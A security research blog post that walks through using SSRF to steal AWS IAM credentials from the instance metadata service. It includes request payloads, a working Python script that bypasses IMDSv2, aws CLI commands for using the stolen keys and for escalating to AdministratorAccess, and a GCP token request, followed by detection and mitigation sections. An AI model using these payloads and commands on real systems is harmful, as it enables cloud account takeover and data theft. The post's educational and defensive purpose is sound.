SSRF to Cloud Credentials: Stealing AWS IAM Tokens via Metadata API | Tağmaç - root@Tagoletta:~#

SSRF to Cloud Credentials: Stealing AWS IAM Tokens via Metadata API

Thu May 28 2026

Category: Security Research


Introduction: One SSRF, Entire Infrastructure at Risk

SSRF (Server-Side Request Forgery) is a vulnerability where an attacker causes a server to make HTTP requests to a destination of the attacker's choosing. In classic scenarios, this enables internal network scanning or unauthorized service access.

In cloud environments (AWS, GCP, Azure), SSRF takes on a far more dangerous dimension: every VM instance has a special metadata service accessible only from that server. This service can serve temporary IAM credentials in plaintext.

In 2024, F5 Labs reported a 452% surge in SSRF attacks. The reason is clear: a single SSRF vulnerability is a door into the entire cloud infrastructure.

AWS Instance Metadata Service (IMDSv1)

On Amazon EC2 instances, the IP address 169.254.169.254 is reserved for the metadata service. This IP is link-local — reachable only from the EC2 server itself. It's not directly accessible from the internet.

But if an SSRF exists, the server makes the request on behalf of the attacker.

Attacker → SSRF payload → Application server → 169.254.169.254

Available endpoints:

/latest/meta-data/                          → metadata index
/latest/meta-data/hostname                  → server hostname
/latest/meta-data/iam/security-credentials/ → IAM role names
/latest/meta-data/iam/security-credentials/{role} → credentials

Step-by-Step: SSRF → AWS Credential Theft

Step 1 — Find the SSRF vector:

Common SSRF triggers:

GET /fetch?url=http://evil.com/image.png
POST /webhook  {"callback": "http://internal"}
PDF generator: <img src="http://...">
XML/SVG parser: <!ENTITY xxe SYSTEM "http://...">

Step 2 — Discover the IAM role name:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

Response:

ec2-prod-role

Step 3 — Steal the credentials:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role HTTP/1.1

Response:

{
  "Code":            "Success",
  "Type":            "AWS-HMAC",
  "AccessKeyId":     "ASIA4EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token":           "AQoDYXdzEJr//...",
  "Expiration":      "2026-05-28T18:00:00Z"
}

Step 4 — Use the credentials externally:

export AWS_ACCESS_KEY_ID="ASIA4EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr//..."

aws sts get-caller-identity     # Verify identity
aws s3 ls                       # List S3 buckets
aws iam list-users              # All IAM users
aws ec2 describe-instances      # All EC2 instances

Credentials work from any machine until their expiry time.

IMDSv2: Bypass Technique

AWS introduced IMDSv2 as a defense. IMDSv2 requires obtaining a session token first via a PUT request:

PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600

Response: AQAEANlW... (session token)

Then:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
X-aws-ec2-metadata-token: AQAEANlW...

IMDSv2 bypass:

Many SSRF vectors (PDF generators, XML parsers, headless browsers) support PUT requests. The attacker first retrieves a token with PUT, then fetches credentials with GET.

import requests

BASE = "http://target.com/fetch?url="
META = "http://169.254.169.254"

# 1. Get session token (PUT request)
token = requests.put(
    f"{BASE}{META}/latest/api/token",
    headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
).text

# 2. Get IAM role name
role = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/",
    headers={"X-aws-ec2-metadata-token": token}
).text.strip()

# 3. Steal credentials
creds = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/{role}",
    headers={"X-aws-ec2-metadata-token": token}
).json()

print(f"AccessKeyId:     {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token:           {creds['Token'][:40]}...")

GCP and Azure Differences

Cloud Metadata URL Required Header
AWS 169.254.169.254 IMDSv2: X-aws-ec2-metadata-token
GCP metadata.google.internal Metadata-Flavor: Google
Azure 169.254.169.254 Metadata: true

GCP example:

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

Response: {"access_token": "ya29.c.b0...", "expires_in": 3599, "token_type": "Bearer"}

Privilege Escalation via IAM

The stolen credentials may not grant full access immediately. But misconfigured IAM permissions can enable escalation:

# List attached policies
aws iam list-attached-role-policies --role-name ec2-prod-role

# Attach admin policy to your own role (if permitted)
aws iam attach-role-policy \
  --role-name ec2-prod-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Common escalation paths:

  • iam:AttachRolePolicy → attach admin policy to any role
  • lambda:UpdateFunctionCode → modify Lambda code, execute os.system()
  • ec2:RunInstances + iam:PassRole → launch new instance with admin role

Detection

  • VPC Flow Logs: Monitor outbound connections to 169.254.169.254
  • CloudTrail: Unexpected AssumeRole, GetCallerIdentity, ListBuckets API calls
  • AWS GuardDuty: Anomaly-based IAM credential alerts
  • Application logs: Check if user-supplied URLs resolve to internal IP ranges

Mitigation

1. Enforce IMDSv2 on all EC2 instances:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

2. Block internal IP ranges before server-side fetches:

import ipaddress

BLOCKED = [
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def is_safe_url(url: str) -> bool:
    ip = ipaddress.ip_address(dns_resolve(extract_host(url)))
    return not any(ip in r for r in BLOCKED)

3. Apply least-privilege IAM roles: Give EC2 instances only the specific S3 bucket access they need — never iam:*.

4. Network-level enforcement: Use security groups or NACLs to block the application server's outbound access to 169.254.0.0/16.

Conclusion

SSRF can appear to be a "low severity" finding — just internal network scanning. In cloud environments, this assessment is completely wrong. A single SSRF → IAM token → AWS API access → full infrastructure compromise chain can be completed in minutes.

The 452% surge in 2024 shows attackers have automated this chain. Any "take a URL and fetch it" operation deployed in a cloud environment without SSRF protections is a critical vulnerability waiting to be exploited.


Reference: F5 Labs Cloud SSRF Research (2024–2025)
Related: OWASP Top 10 A10 — Server-Side Request Forgery